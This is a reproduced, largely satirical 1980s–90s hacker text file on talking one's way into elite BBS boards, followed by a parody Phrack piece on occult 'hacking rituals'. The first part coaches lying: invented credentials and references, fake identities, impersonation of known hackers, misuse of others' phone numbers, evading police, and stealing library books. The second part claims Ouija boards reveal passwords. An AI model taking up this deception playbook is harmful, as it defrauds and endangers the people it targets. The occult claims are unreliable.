A Tutorial On Being An Elite Hacker

By Dead Lord and Lord Digital

Lords Anonymous!

September 25, 1986

Revised May 2, 1988

Revised Again August 20, 1991

PROLOGUE

========

For reporters, brain dead media types, or anyone else reading this who has been blessed with a room temperature IQ and faulty observational abilities; "Elite" as it's applied to the "underground" community, is a phrase that theoretically denotes the top 2‑5% of the hacking and phreaking community and its rather peculiar hierarchy. Realistically it denotes the 2‑5% that spend the greatest amount of time polishing up their image on boards instead of doing what they're presumably good at (hacking).

This article is designed to allow you (yes YOU the junior G‑man; would be Secret Service agent; publicity whore; over‑eager journalist, or just bored modem owner and future potential ELITE) access to almost anything you might wish to call; in addition to providing you with the knowledge necessary to impress other ELITE's with your learned brilliance.

CONTENT

=======

A tutorial for all the people too dense to figure out the quirks of human nature all by themselves, who also have some inane desire to have access to ELITE boards, containing ELITE information and ELITE users, along with ELITE wares, 42 seconds after they are cracked by ELITE crackers. Not to mention ELITE dial‑ups to ELITE companies, which will work for approximately 15 minutes before some idiot logs in and does something to fuck them up.

I'm writing it because I am bored of doing all this by myself, with only a handful of peers to accompany me. Not that I expect to gain "peers" from people that need help from this text file, but I imagine it'll give ELITE Sysops something else to do with their time. I also hope to save you 2‑5 years of time. 2‑5 years is the average lifespan of an ELITE person, before he gets a life and comes to the understanding that he just wasted 2‑5 years.

Please don't misunderstand me when I say 2‑5 years, there are many people who have been ELITE for almost 10 years and are still going strong. I wouldn't want to step on any ego's, or ruin anyone's life work, now would I...

BOARDS

======

ELITE boards exist because the people who populate them, believe themselves to be superior to the people populating all the other boards. Most people don't agree with them, but they agree with each other. 100‑200 people being sufficient to set up their own personal version of the world, they gather together on these ELITE boards and do ELITE things like post new wares, engage in "rag wars" and type things up out of manuals at each other.

SYSOPS

======

Seeing how you're trying to get access to an ELITE board, you should have a basic understand of who the Sysop is, and why he's running the board. This part is easy, in over 95% of all cases, the Sysop is a egotistical fool, who is willing to give up the use of his computer, or computers, in exchange for the privilege of playing GOD with the hopeless sots who log in.

This is especially the case on all manner of ELITE boards that request a "real" telephone number, voice validation, and the donation of your first born male child for even higher access. All under the guise of "security." Requesting a "real" voice number, or even name, is nothing that unusual. Almost all "mainstream" non‑Pirate and non‑Phreak systems require it.

Of course there is nothing stopping you from leaving them Anal Annie's phone sex service as your home number, and picking a random name. That will usually be the end of that. The only time the Sysop will ever check into your information will be if you happen to become a "rodent" and annoy him and/or the users of his BBS, in which case he'll engage you in a 20 letter conversation, each one giving a really sincere and heartening reason why you would feel so much better if you gave him your phone number, and why he just HAS to have it for reasons you wouldn't understand, because ALL Sysops MUST keep track of who uses their systems, don't ya know?

This file won't cover "normal" Sysops, because if you aren't capable of bullshitting THEM, then you're hopeless and may as well find a new hobby. Like gardening is pretty exciting I hear, fer instance...

"VOICE" NUMBERS

===============

The truth is there is no reason on earth, why a Sysop should EVER need your voice number, or any information on you at all. Naturally he'll WANT it, because being the kind of person who runs a BBS in the first place, he's a nosy and prying kind of guy that want's to know everything about you. For reasons of "board security" of course.

Let me tell you about board security; it doesn't exist! When a system is "secure" all that means is that the Sysop has lulled himself into a false sense of safety that bears little relation to the actual state of his board. But that's beside the point. The point being that you DON'T want to hear from the Sysop; EVER.

One of the reasons they give for "needing" your voice number is

"Well "Well if there's ever something wrong with the bbs, I need to be able to let you know, or ask you what commands you used if you were the last user before it crashed."

Isn't that nice... How many Sysop's notify their users when their board goes down for repairs? NOT ONE. As for problems, well what do I care? The last thing I want is Melvin Sysop calling me up when I'm watching Miami Vice and trying to have a 5 hour conversation with me because he has nothing else to do with his time. Or better still, having my phone number embedded in his software when the Secret Service busts down his door because he carded 50 hard drives to his home address.

I know many Sysops, some of them are even my friends. These are the kinds of things Sysops do with their userlists. Of course ALL of them will CLAIM that other Sysops might do that, but THEY never would, God no, not them!

FAVORITE SYSOP USES FOR USERS' TELEPHONE NUMBERS

========================================

I. When any "new ware" is released (and he happens to be a Pirate kind of guy), Sysops go through every name on the userlist, call them up and ask for the new ware. If you don't have the new ware, or just say you don't in the hopes that he will fuck off, he will then proceed to bug the hell out of you by asking for 50 other wares that he just has to have.

II. If he's an ELITE PHREAK kinda guy and some national emergency takes place such as his favorite 800 dying on him; he does the same thing as the Pirate type Sysop and calls everyone on the userlist begging for 800's, "any cool info", and pw's to CIS.

III. More so with Phreaks than Pirates, but somewhat true for all of them: The Sysop want's an update on some latest tidbit of hot gossip that he will just die if he doesn't find out. He will then try to have another 5 hour conversation with you about whatever drivel he called you up to discuss.

IV. Some people trade baseball cards, some people trade comics, some people trade phone numbers. Sysops LOVE to trade phone numbers, especially those of "influential" users. I don't know why, they usually lack the balls to even call them beyond the customary dial, wait for some person's voice, then slam the phone down and go jerk off because all that excitement gave them a hard‑on. This is very much to your benefit as I'll explain a little further down.

V. And worst of all, there is the "lonely Sysop", the guy who will call you every "day" at 2 in the morning and try to have an engaging conversation about whatever happened in his "life" that day.

There are many other things Sysops do with your number, but as far as I'm concerned, those were the worst. OK, I'm going on and on about why a Sysop has no need for your number, and how he'll annoy you to death if he ever gets it, so YOU know that now, but what do you do about it?

GETTING VALIDATED

=================

There is no big trick to being validated. In almost every case, the Sysop asking for a voice number, is just his usual hoopla and he'll never bother to check out anything you give him that passes as "information." If you leave a reasonably intelligent copy of feedback, kiss his ass in a sublime kind of way, and in general explain to him why having you on his bbs will make his life much better than it is now; you'll be validated with normal access.

Uploading new wares or files, posting messages, and drivel along those lines, will get your access raised. You can also bullshit for higher access, but I'm assuming YOU don't know how, which is why you're reading this file to begin with. BULLSHITTING is an artform and I have neither the time or patience to type up a file on it, so I'm doing this instead.

EXAMPLE PIRATE BOARD FEEDBACK

=============================

Hello,

I'm the Masked Avocado. I just

got your bbs #, from an advertisement

that was posted on Capital Connection.

I liked what the message had to say,

so I called to check your board out.

I can contribute newsoftware,

programming help, and anything that mi

ght help to enhance your bbs.

I also distribute for Coast to Coast

and Digital Gang. My latest wares

include: MultiScribe //gs 2.1.2.4

HiggyBBS 6.2 Deluxe Paint Print

Plus 2.1

By the way, my first name is Melvin,

I'm 13^H^H19, and my system is made

up of an enhanced //e, 212 applecat,

3.5 drive and a bunch of

peripherals. Thanks for your time,

Melvin

Let's examine that and highlight a few points.

I. ALWAYS use decimal points when describing new wares. Copy ][+ has a revision every 2 weeks that does nothing except update the parm files. NEW WARES! have constant updates and "Pirates" are always on the lookout to increase the decimal point revision of their software. Even if it does NOTHING different EXCEPT change the decimal point.

Aside from the fact that feedback is just bullshit to get you validated, you can very easily get a sector editor up and change a few decimal points yourself.

II. ALWAYS say you got his BBS number from some established ELITE board, in the case of Pirates, Capital Connection is always a good bet. In reality it's quite a lame board, but other board Sysops seem to feel otherwise, and besides instantly impressing the Sysop of the board you're logging into (by being a member of CapCon), he will also get a kick out of it that some idiot posted his board on the CapCon "BBS Ads" section.

[Please note that "Capital Connection" was valid at this file's original incept date. The average Pirate board having a lifespan of 6 months at best; Capital Connection no longer exists. The current Elite Pirate board of the next 6 months, is "Trade Center."]

III. Among your list of "new wares" you can always list some BBS program, because every week some dork writes a new program, that is lousy, never works right, and if ever faced with "put up or shut up" you can change around any one of 50 different BBS programs, and upload it as the NEW WARE!

[Same with software as with boards ‑‑ it doesn't stay new very long. I can't help you here because I haven't the slightest idea what's new in Apple software. However, all you need to do is invest 3 bucks in the latest issue of whatever magazine pertains to your particular computer, and list off some of the software you see advertised.]

IV. Always say you distribute for some random collection of new wares groups. Nobody can prove that you don't (logging into one cat‑fur and uploading the wares you found on it, to another cat‑fur, is distributing) and it will make the Sysop think that you'll be uploading 20 sided GS wares to his board every day.

[As you may have guessed, new wares groups also come and go. Digital Gang still exists, as do a slew of new groups; if you don't know of any, a safe bet is making up a name and saying that you're based somewhere in Europe. Europe being the fabled birthplace of all the best new Atari and Amiga software in particular.]

V. Always list "your" first name and age. Make up an age that is over 16 so they won't discriminate against you. If you're under 16 and admit it in your feedback, you'll be instantly labeled an idiot.

VI. Always list some of your hardware. Don't ask me why, it's just another item in the agenda of things that Sysops like to pry into. If you give them this information without them asking for it, it makes them feel better.

VII. Always end the message with a "thanks for your time." Remember, he's an egotistical fool, and that one line makes him think you respect him, want to do things for him, and would be genuinely happy to be a member of his AWESOME board.

VIII. ALWAYS sign it with "your" first name, this keeps the tone informal, and makes you seem like a less threatening type of guy.

GENERAL TIPS

============

Remember that many Pirate boards have a "VOTE ON NEW USERS" feature, so don't say anything that you wouldn't want the entire world to read. If you follow those basic guidelines, you'll ALWAYS get validated if the rest of your information is right. The rest being your phone number if the Sysop actually calls new users.

Some of you are saying to yourselves: Yeah, but if you just listed all of this, won't Sysops be on the lookout for this kind of feedback? Yeah, but then who are they going to validate? "Obvious" rodents? No, if they want new users then they'll be more than happy to accept you.

EXAMPLE PHREAK BOARD FEEDBACK

=============================

Greetings,

I'm Tesla Coil of The Crossbar Rapists (TC of TCR). I was told by a user of Metal Shop Private (MSP), that your bbs was worth looking into. I've been published in TAP, 2600, and Uncle Mel's Phone Times. My handle was listed in issue 12 of Security Systems of Greater Podunk (SSoGP) as a "Computer genius breaks into Podunk's Private Database!" I've been hacking since 1981, I was a member of Sherwood Forest, Securityland, The AT&T Phone Center, OSUNY, OSUNY when it went back up, WOPR, LOD the BBS, Cryton, COSMOS, Metal Shop Private, and OSUNY when it came back for yet another go at it. I had to change my handle for reasons of security when I was taken out by the feds in the 1983 414 busts.

I'm an expert with Unix, RSTS, Primos, and HiggyOS. I can program in C, D, E, and F, Fortran 77 and 78, Basic for the Cyber, IBM, MAC, Amiga, ST, and Apple II. I also know assembly for the 6502, 8088, 68020, Z‑80a, and TIMEX. I have an Apple //e, IBM AT, Mac+, and Kim‑A1.

After entering college last year, my time was seriously limited. But after getting some additional free time, I've decided to restart my hobby of hacking and exploring the phone system. My current interest centers around the understanding of the myriad functions associated with CLID.

People who can recommend me include (Pick 4 or 5 names of people who aren't really ELITE, but not unknown to current ELITE Sysops either). If you can't think of them, pick up any issue of PHRACK and take a few out of there. The reason you want "not really ELITE" people, is because they won't command too much attention. You DON'T WANT excess attention, saying that some dork who writes for Phrack recommends you, is less noticeable than saying some "real" ELITE recommends you. Why say ANYONE recommends you, if it's so much trouble? Because it somehow flips a switch in the Sysop's mind, which makes him think that you must be an OK dude, if so and so recommends you. Nine out of ten times he won't check. The one time he does check, the person he's bothering will usually say "yeah yeah, go away I'm doing something" and that'll be the end of it).

[Please note that by "real elite" I don't mean anyone who is better, rather I mean someone who has spent tremendous amounts of time generating exposure for his handle.]

Thanks for you time, Tesla Coil/The Crossbar Rapists

Let's examine this one too.

I. As you can see we've switched from 40 columns, to 80 columns complete with some form of spacing. We've also gotten a little bit more‑let's say‑"readable" than in our previous Pirate feedback example. This is because we're calling a different kind of system, with a different program than cat‑fur ENHANCED 1.1!

II. With Phreak Sysops you don't want to get too informal, because most of them are busy playing SECRET AGENT MAN and if you do something normal like sign off with "your" first name, he'll think you're not being "professional." How it is in his mind that he equates "professional" with calling his board: I don't know, but trust me on this point.

III. In the same vein of "professionalism", you're expected to list off your "accomplishments". Oddly enough, in Phreak/Hacker HIERARCHY, getting arrested numerous times is considered ELITE by many of it's peoples. Why this is, I don't know either. Personally, it says to me that the person who got arrested has the brains of an African bushman, but apparently, that's just my lone opinion. Anyhow, in line with this PROFESSIONAL attitude you are expected to list your life's accomplishments in the space of 50‑100 lines, in a form that will make you sound like the best Hacker in the world, who is so good, that logically he wouldn't be caught dead calling the ELITE board you're calling, but once again skipping the logic and getting back to the Sysops expectations...

IV. OK continuing with the thought we started... list off a bunch of languages, knowing them is optional, because the Sysop doesn't know them either. Reading the dust jacket and index on a book covering any of those subjects will enable you to APPEAR to know what you're doing, which is all that the Sysop is doing, so don't worry about it, because he doesn't know vi from cd, and couldn't INFILTRATE a Unix if he had the root account. If you don't want to spend $5000 stocking up on ELITE TECHNICAL MANUALS, go down to the library and xerox a bunch of index's. Or better yet, just check out the books and never return them (if your library lets you check out reference manuals. Most don't, but you can always rip out that little magnetic sensor in the card on the book and walk out with it anyway, but I digress...).

V. After you've done that, list a bunch of micro‑specific assembly languages that you "know," and in general just make up things until you've filled up around 2 paragraphs or so. 95% of ELITE PHREAKING/HACKING is just posing anyway, so don't feel guilty about it or let it worry you too much because that's the same way 9/10th of the board got access. Unless they were ELITE, which is just posing to a higher degree than most bother to go with.

VI. Remember to say WHERE YOU GOT THE NUMBER FROM! This is because like I said before, most Phreaks are busy playing SECRET AGENT MAN and will get an ulcer and lay awake at night thinking that CABLE PAIR is infiltrating their board. You know it isn't true, but the Sysop will wet his pants anyway, so just put his mind at rest and make up some place where you got the number from. Metal Shop is always a safe bet, because it's the Phreak dumping ground of ELITENESS, much like CapCon is the Pirate's equivalent. Be sure to use vague terms like "I was told by a user of..." and things of that nature that can't be readily verified, but still sound plausible.

[Ahem, sorry to interrupt again, but as you may have guessed, MSP is down at this time. MSP's new replacement is the Legion of Doom base BBS that goes by the name of "Digital Logic." A large percentage of the users there are under phony handles that gained entry by exactly the type of bullshitting I'm writing about in this article. The remaining phony accounts got access by threatening the Sysop with "Phreak retaliation" and having him cave into demands; which for a LOD board is about par for course.]

VII. Next make up your "writing credits" and "media credits". Select a few random issues of random magazines that you either wrote for, or had your alias' mentioned in. Make sure they're of the small circulation type and the issue is at least 2 years old. Nobody will ever check or even have a way of checking if they wanted to. Most people who "wrote" things just rephrased tech manuals and copied the illustrations. If you're ever pressured to come up with something YOU wrote, just do the same thing because that's what all the other ELITES are busy doing. Be sure to run it through a spelling checker so it looks PROFESSIONAL as ELITE PHREAKS are fond of looking and thinking of themselves.

VIII. Next list off a bunch of ELITE BOARDS you've been a member of. Listing those that I just listed are a safe bet, because they're famous or as the case may be infamous, to such a degree that the Sysop will have heard of them. He wouldn't have been on them, so he won't be able to verify that either. The reason he wouldn't have been on them, is because he hasn't been ELITE longer than 2 years, otherwise he wouldn't be running a board. If he HAS been ELITE for longer than two years, and IS still running a board, then he's an idiot and you can safely assume that he wouldn't have been on them anyway. Not that being an idiot disqualifies anyone from being a member of anything, but APPEARING to be an idiot will do that. COSMOS is ALWAYS a great bet, because it just sounds so PHONESY! Plus there have been half a dozen COSMOS' in the last year alone, so he won't know which one, even if none of them have ever been FAMOUS!

IX. If you're such a swell guy, and have been around so long, he might wonder what you've been doing with yourself for the last 6 months. SO So just make up some half‑witted excuse like the one I listed. Then include something about your current "interests." All you need to remember about that is include "CLID" (Calling Line ID), "BLV" (Busy Line Verify), or any other semi‑interesting acronym out of a USO coding manual. Obviously you don't need to know anything about it beyond the fact that such an acronym actually exists and you know about its existence. If questioned further, just bring down the "veil of secrecy" and become mysterious and evasive about it. This will instantly go great lengths towards improving your status on a board.

X. References have been covered in the parenthesis in the feedback itself, so I hope I don't need to get into it again here.

XI. ELITE Phreak/Hacker boards also expect "freebies" from you the potential user, to the Sysop. Both as a "test" of your "skill" and as a kind of ass kissing. Freebies can include COSMOS PW'S! which are easy, because there are like 10 of them which people have been listing for the last 5 years, which haven't worked for 4 1/2 years, but people still list them. Which makes me conclude that people never use them, they just write them down and repost them every 6 months. Or CIS accounts, or some good 800's or anything of "value". You don't really need to include any of this, but if you can it makes you look better. NEVER, EVER give the Sysop ANYTHING of any value that you might want to use in the future, because if it's of any worth he will immediately do something stupid to make it stop working. That you can COUNT ON!

XII. Close it up with the usual "Thanks for your time", but sign it with your full handle, followed by group. PROFESSIONAL! [Giggle] <STOP THAT! I'M SERIOUS NOW!> <slap>

GENERAL TIPS

============

Ok, now that I've got you psyched at how easy it is, here is the bad news. The bad news is like this: In order to be an ELITE Pirate, you don't have to know ANYTHING, PERIOD, AT ALL, EVER. All you need to be able to do is operate your copy of cat‑fur with reasonable dexterity and spend 2‑5 hours of each day calling things and uploading NEW WARES. If you can program, so much the better because then it's easier to join the ELITEST ELITE of piracy (the Crackers). Now I know you're thinking it's stupid to have ELITE people who aren't good at anything, but I never claimed the world was a sensible place.

With PHREAKING (let me just say that when I say PHREAKING I also mean to include HACKING) you are expected to APPEAR to know how things work. Now that is a little tricky. It's tricky because ELITE boards like to have FILTERS. A kind of "front door/quiz" combination. The trouble with that is, that the Sysop doesn't really know what he's doing either and will take the questions out of an ELITE FILE. The problem is that the ELITE FILE might not have been accurate, so even if you know the answer, you might not know the answer that the Sysop is expecting, and as far as the Sysop is concerned is the "RIGHT" answer. This means that you had better stop laughing at those stupid files and deleting them, because if you want to get access someplace, you might need them for something besides "God, is he stupid!" jokes!

HOME PHONE NUMBERS AND HOW TO DEFEAT THEM

========================================

Ok, so now you know how to get validated, what to say and how to act. Let me get you past the last and only "real" hurdle to access to everything you desire.

Voice validation is a load of crap. It doesn't work, it never has worked and it never will work. But it sure makes Sysops feel good, and being the egotistical fools that they are, they're going to make you go through this bullshit to get access.

I would NOT suggest leaving an infinite busy as your home number. This works on legitimate boards, but I don't know any underground board Sysops that are THAT stupid.

METHOD 1

========

Leave a telephone number of a random person from your "computer buddy" phone list. When the Sysop calls, he'll get a human voice that will say HELLO in a annoyed kind of tone. Confirming the existence of a human being at the other end of the telephone number you just gave him, the Sysop will assume no reason to doubt you, and slam down the phone because he's not good at starting conversations with people he's never talked to before.

METHOD 2

========

Find a kid at school who you're friends with. Explain the general idea of "boards" to him, tell him you need his help in breaking into some secret FBI computer system. All he has to do is say "yes" to the questions you're going to write down for him, and claim to be the person on the piece of paper you're giving him.

This is really almost ideal if your friend isn't the stupid type that stutters and can't lie. If he can lie and doesn't care, then you're all set or the rest of your modem existence!

METHOD 3

========

Your other option is to leave the kid the number to a voice mailbox on which you've put a suitably ELITE sounding outgoing message. Note: the current craze among the lower orders of the would‑be elite is "Voice mail hacking!@!" It's not too hard for anyone familiar with the intricacies of dialing touch tone to in‑fil‑trate! a VMB system. And the recent media attention drawn to this oh sooo destructive form of hacking has made it still more exciting. However what does this have to do with you? Using a box which you've hacking out is a really dumb idea, especially when you can get one in any major city for $10 to $15 a month. Never pay for the box in your real name, as you will be giving this number to sysops whose BBS software will very likely end up in the hands of law enforcement someday and you don't want end up in John Maxfield's mega‑huge list of hackers.

YOUR NEW PERSONA ‑‑ HOLDING IT TOGETHER AND MAKING IT WORK

==============================

This is really basic. It's so basic that almost nobody I know ever bothers to sketch in the details and can be tripped up when you ask an offhanded question that in theory has no significance, but in actuality causes him to say "uh, well" and pause for a few seconds while he tries to think of something. Only very good bullshit artists can glibly pull it off when you "catch them off guard" but even then they will frequently forget what they told you in the past if you bring it up again a few days later.

What I'm talking about is the "new you" complete with name, address, telephone number, state, zip code, street number, general weather of the area, brothers, sisters, physical description, social security number, job, marital status, birthday, age, education, "underground" history, etc... In short, you are creating an entire new person who should have a real life entirely separate from your own. In order to pull this off you need to think of all these things before‑hand, and if you're new at this, don't get carried away by pretending to be 20 people all at once. Just make up ONE concrete personality whose existence you can justify, and then type it up, print it out, and tape it to the wall in front of you so it's ALWAYS there, because the time when you least expect it, is the time you're going to need it the most.

As you get better you'll find you can juggle an almost infinite number of these alter‑ego's in your head, but don't get over‑confident too fast or you WILL blow something that you're working hard at right now.

IMPERSONATING OTHER PEOPLE

==========================

Every year the "underground" community mirrors the legitimate modem world and gets exponentially larger. Instead of everybody knowing everyone else, there is now a huge collection of people who don't know anything about anyone who existed 5 years ago; last year; or even last month. This works greatly to your advantage because it saves you the effort of slapping together your own files. All you need to do is log some handle into the system you wish to access; upload a few files written by the person or persons you are about to impersonate; wait a few days; now login the person whose identity you wish to assume. Quite simple.

In the past few months I have actually passed myself off as BIOC Agent 003, Lord Digital, Lex Luthor and assorted past and present members of LOD, Apple Bandit and various other Apple Pirates of lore, and several dozen other people. Two years ago I could never have gotten away with this unless I was calling some board in the middle of nowhere. Nowadays it's possible, even easy, to impersonate almost anyone who has ever made some kind of mark on the history of the underground in the past; simply because the people you're going to be dealing with were NOT around a few years ago and have no idea who any of these people are. When confronted with a "famous" user, they will never in their wildest dreams assume that he's a fake; the only thing they will be thinking is how neat it is to have him on their BBS once you let them know who he is.

You can easily make up a new character who never existed outside of your profile of him, but this requires more work on your part when it's much simpler to just pretend being someone else. NONE of those people will EVER turn up on that particular board, and even if they did you should be able to convince the Sysop that YOU are him and he is the fake. Amusing to say the least.

In case you're letting some last vestiges of morality creep in, remember that the people you're going to be impersonating are not hallowed icons. They are just guys who spent an inordinate amount of time building up their image to such a degree that countless little kids think they're cool and a few misguided ‑‑ and blessedly free of intellect ‑‑ security people, think they're dangerous. Not to forget the fact that aside from LODdies, none of them will ever be seen on a board again, so if you fear "Phreak retaliation;" don't worry about it. Nobody can do anything to you if they don't know who you are.

The previous paragraph exists solely to galvanize otherwise recaltricent and cowardly pre‑teens into taking some kind of action and having fun.

SAFETY ‑ GETTING BUSTED!

========================

People who get caught for doing something they shouldn't have been doing, are apprehended for one of two reasons: They are either cretins, which covers the vast majority of those "busted," or they are not good judges of character and spend their time associating with "friends" who do stupid things, and will drag you down with them when they really fuck up. Which WILL happen at some point to most of the people who convince themselves "it's just fun."

The "underground" IS fun, but looking at it from the eyes of those whose job it is to keep track of you, it stops being fun and you should realize that many of the things you take for granted ‑‑ be they free calls, free software, whatever, ‑‑ are against the law. And if you give people the opportunity to hurt you ‑ESPECIALLY when they are placed in such a position that by busting you they increase their own status in whatever field they are employed in ‑‑ then you are going to get hurt!

Many of you hate all the "narcs" and "sting boards" and whatever new bullshit the people arrayed against you come up with. You SHOULDN'T! Cable Pair and the rest are nothing more than the underground's personal garbage collection agency. Rather then thinking of them as people who are some kind of hindrance to you, it's far more logical to think of them as glorified trash collectors; which is about all they are. Every so often some new sting is exposed, and the underground is rid of a board full of annoying kids that were stupid enough to login someplace with real names, numbers, and addresses. Are you really going to miss this kind of genius?

If you ALWAYS use the methods outlined in this article, then your chances of getting caught for anything will dramatically decrease. Who are they going to find when every single piece of information you gave them is a lie. None of your modem friends can take you down with them, if they don't know who you are. It's as simple as that.

Naturally this is more difficult than it sounds due to the fact that many of you will want to make friends with people, and that's hard to do when everything the other person knows about you is a lie. At this point you just have to use your best judgement concerning your further actions. Personally I find it best to associate with a small group of friends who really are "friends" not just "computer buddies." Because if you pick your friends well they will never fuck you over. Meanwhile when some kid you know only over the phone, who lives in another state, gets caught... He is going to be more than happy to throw them anyone and anything he can think of just to get off himself and that will include YOU. The "Hacker ethic" is a nice joke that I personally DO NOT subscribe to, and even those that pay lip service to such a concept, will throw their ideals away pretty fast when it's their neck on the line instead of some hallowed principle thought up by aging hippies.

THE COMPUTER UNDERGROUND PAST AND PRESENT!

========================================

At the time of this revision and final public release (Summer of 1991) the modem world is nothing like it was five or ten years ago when all of this nonsense began. The thousand hackers of 1981 had become ten thousand by 1986 and now it's reached the point where the EFF and CuD are throwing all of this back and forth over the InterNet and so rather than the "local l0serz" idolizing Lex Luthor, academics all over the country are analyzing the legal implications of Phiber Optik and Acid Phreak's case. Well, so be it. It's much too late in modem time to start any sort of "elite dynasty" which even a moron like Lex Luthor could put together in 1984.

You can't start the "Modem Wizards ‑‑ the new LOD!" but you can always latch on to legend and write yourself into the past. If you have any doubts about this read the History of Communist Party of the Soviet Union from about 1923 until 1956, when each years names kept being added and taken out and things were changed around the suit political realities and nobody said a thing. This is a far‑fetched reference, but the theory is the same.

The Legion of Doom started out a bunch of nobodies and ended up notorious enough that the Secret Service and BellCore kept laying awake at night wondering when LOD is going to take down all the STPs in the network. Which of course will never happen but it's much easier on the intestines of a Secret Service agent or DA to get media attention by rounding up "a deadly technologically menacing teenager!" than to bust the mafia or some inner‑city drug ring who may just put them and their families through a trash compacter. What would you do?

THE END

=======

What more can I say? I hope you have a good time if this is the way in which you choose to waste your time. And a great big "I love you" to the media dudes who actually called up 2600 magazine asking about "Marbles BBS." Where would we be without you? You guys are just so funny!

Have a nice day and a really, really nice life!

The Legion of Doom & The Occult

==Diet Phrack==

Volume Three, Issue Thirty‑Six, File 6 of 11

‑‑‑‑‑*****)))))21(((((*****‑‑‑‑‑

D S

+

E The Legion of Doom E

+

M and E

+

O The Occult D

+

N !

‑‑‑‑‑*****)))))21(((((*****‑‑‑‑

From its explosive beginnings in the summer of 1984 to the present day, the group known as "The Legion of Doom" has been enshrouded in secrecy. Now that our numbers have been corrupted, and the hope of once regaining the immense power we wielded over the years has faded, we offer to the last remaining fragments of the underground from which we arose the secret knowledge that kept our members at the apex of knowledge and beyond the grasp of security officials.

It is our hope that through wide circulation of this material that perhaps some future enthusiasts will seek the truth from within, and gain the knowledge and wisdom necessary to endure the trauma of illumination.

HISTORY

Initially, the idea of combining modern technology with ancient wisdom was formulated as a type of joke. One particular system was proving extremely difficult to penetrate. One member remarked rather off‑handedly, "Why not ask the Ouija board for passwords?" This was laughed about for several minutes but ultimately it was decided that it should be tried. Two members set up the board and began concentrating on the computer system in question. After several minutes an entity was contacted. When asked what the root password was on the UNIX system we had discovered, it answered "rambo". "Rambo" was the password.

Several more trials were done, and more than two thirds of them ended with positive results. It was decided at this time that there should be an inner order to the Legion of Doom for those members who shared an interest in learning more about the occult and its uses in a hacking forum. At that time it was decided that there would be seven members admitted. From that time forth, there have always been seven members. The circle will be broken upon the incarceration of our initiates in the coming new year, and our control over the planes will be lost.

What follows are several steps to increasing one's knowledge of the occult and use of this information in a computer setting.

OUIJA

In our experience we have found that it is best to attempt this type of communication with two persons. It is extremely important that one not attempt to contact an entity using the Ouija alone. When there is only one psyche involved, the spirit can fixate on it with great ease and the chances for possession or extreme mental duress is quite high.

Sit facing a partner with the Ouija touching each lap. Each person should keep one hand on the planchet and the other on the computer keyboard. While concentrating on contact, make the necessary steps to connect to the system desired to ask about. Once connection has been established with the host system, begin asking the surroundings, "Is there anything that wishes to talk with us?" One may have to concentrate and repeat the question for several minutes. When an entity moves onto the board one may feel a slight tingling in one's fingertips as the planchet moves around the board. Once is has been asserted that there is a strong presence on the board, ask of it any question desired.

*** The above is a simple enough method and can (and should) be tried by all. What follows is more complex and should not be attempted with any degree of levity.

STEPS TO ENSURE SUCCESS WHILE HACKING

To enjoy a great deal of success while hacking the following steps must be taken.

1.. Always hack in the same room, at the same time of day.

2. Always purify mind and body before hacking. This would include a ritual bath and sexual abstinence and fasting for at least 12 hours prior to any attempt. One may wish to design a Tau robe to wear during attempts, or in any case a set of clothing specifically for hacking attempts that would symbolize such a garment.

3. Perform the Lesser Banishing Ritual of the Pentagram (See below).

4. Perform the Rose Cross Ritual (See below).

5. Perform a candle burning to attract good luck.

By following these steps one will experience success and fulfillment greater than imagined possible.

LBRP

1. Touch forehead, and say deeply "Ah‑Tah".

2. Point down, hand over abdomen, say deeply "Mahl‑Koot".

3. Touch right shoulder, say deeply "Vih‑G'boo‑Rah".

4. Touch left shoulder, say deeply "Vih‑G'doo‑Lah".

5. Fold hands at chest, say deeply "Lih‑Oh‑Lahm, Ah‑Men".

6. Face East, Draw a pentagram in the air, point to its center, say deeply "Yud‑Heh‑Vavh‑Heh".

7. Turn South, keeping line from first pentagram, draw new pentagram, point to its center, say deeply "Ah‑Doh‑Nye".

8. Turn West, repeat as above, but say deeply "Eh‑Heh‑Yeh".

9. Turn North, repeat as above, but say deeply "Ah‑Glah".

10. Turn East, carrying line to complete circle.

11. Hands out, say "Before me Rah‑Fay‑El, Behind me Gabh‑Ray‑El, On my right hand Mih‑Chai‑El, And on my left hand Ohr‑Ree‑El. For about me flames the pentagram, and within me shines the six rayed star.

12. Repeat steps 1‑5.

For those concerned, the translations of the above are as follows:

Ah‑Tah: Thine

Mahl‑Koot: Kingdom

Vih‑G'Boo‑Rah: and the power

Vih‑G'Doo‑Lah: and the glory

Lih‑Oh‑Lahm: forever

Ah‑Men: Lord, Faithful King (AMEN=acronym)

Yud‑Heh‑Vavh‑Heh: The Holy Tetragrammaton

Ah‑Doh‑Nye: My Lord

Eh‑Heh‑Yeh: I shall be

Ah‑Glah: Thou art great forever, my Lord (AGLA=acronym)

Rah‑Fay‑El (

Gahb‑Ray‑El Names of Arch‑angles

Mih‑Chai‑El (

Ohr‑Ree‑El (

When the steps read "say deeply" one should try to resonate the words, from the diaphragm, so that the body actually feels the words.

ROSE CROSS RITUAL

1. Light a stick of incense.

2. In the SE corner of the room, looking away from the center, draw a large cross in the air with incense, and intersect its sides with a circle (like a Celtic cross, or crosshairs in a gun sight), point the tip of the incense to the center of the cross and say deeply "Yeh‑Hah‑Shu‑Ah".

3. Move to the SW corner of the room, keeping the line from the first cross, repeat as above.

4. Move to the NW, repeat as above.

5. Move to the NE, repeat as above.

6. Move to the SE to complete the circle.

7. Face NW, incense pointed up, walk to the center of the room, continuing the line, make the rose cross above the center of the room, speak the name, then continue moving NW, connect the line to the center of the cross in the NW.

8. Move back to the SE, incense pointed down, stop in the center and draw the rose cross in the center of the room on the ground, speak the name, then continue on SE, connecting the line to the center of the cross in the SE. 9. Point to the center of the SE cross and speak the name.

10. Walk to the SW corner.

11. With the incense pointed upwards, walk to the NE, at the center of the room stop and speak the name, then continue on to the NE, once at the NE, face the SW and walk back to the SW, incense pointed down, at the center of the room speak the name, and continue on to the SW.

12. Point to the center of the SW cross and move clockwise to each corner, again connecting the centers of each cross.

13. Once back at the SW corner, remake the cross as large as possible and speak the name "Yeh‑Hah‑Shu‑Ah" while forming the bottom of the circle, and speak the name "Yeh‑Hoh‑Vah‑Shuh" when forming the top half of the circle. 14. Go to the center of the area, face east, and think of the six rose crosses surrounding the room. Think of them as gold, with red circles, and the lines connecting them as gleaming white.

CANDLE BURNING RITUAL

1. Obtain a green candle

2. Anoint the top of the candle with olive oil and rub it downward to the middle of the candle.

3. Anoint the bottom of the candle with the oil and rub it upwards to the center.

4. Carve the letters "JIHEJE" on the candle.

5. Light the candle.

6. Read aloud the fourth Psalm.

7. Pray for the desired outcome.

8. Concentrate on the desired outcome.

9. Repeat 6 through 8 two more times.

THE GEMATRIA OF TELEPHONE NUMBERS

